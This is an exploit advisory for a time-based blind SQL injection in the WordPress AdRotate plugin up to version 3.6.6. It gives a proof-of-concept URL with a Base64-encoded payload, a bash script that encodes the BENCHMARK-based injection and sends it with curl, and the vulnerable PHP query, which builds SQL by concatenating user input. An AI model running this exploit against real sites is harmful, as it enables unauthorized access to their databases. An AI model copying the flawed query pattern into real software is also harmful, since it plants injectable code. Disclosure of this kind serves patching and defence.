WordPress AdRotate 3.6.6 SQL Injection

`# Exploit Title: WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability  
# Date: 2011-11-8  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.6.zip  
# Version: 3.6.6 (tested)  
# Note: parameter $_GET["track"] has to be Base64 encoded  
  
---  
PoC  
---  
http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=MScgQU5EIDE9SUYoMj4xLEJFTkNITUFSSyg1MDAwMDAwLE1ENShDSEFSKDExNSwxMTMsMTA4LDEwOSw5NywxMTIpKSksMCkj  
  
e.g.  
#!/bin/bash  
payload="1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#"  
encoded=`echo -n "1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" | base64 -w 0`  
curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$encoded  
  
---------------  
Vulnerable code  
---------------  
  
if(isset($_GET['track']) OR $_GET['track'] != '') {  
$meta = base64_decode($_GET['track']);  
...  
list($ad, $group, $block) = explode("-", $meta);  
...  
$bannerurl = $wpdb->get_var($wpdb->prepare("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;")); //wrong (mis)usage of wpdb->prepare()  
  
`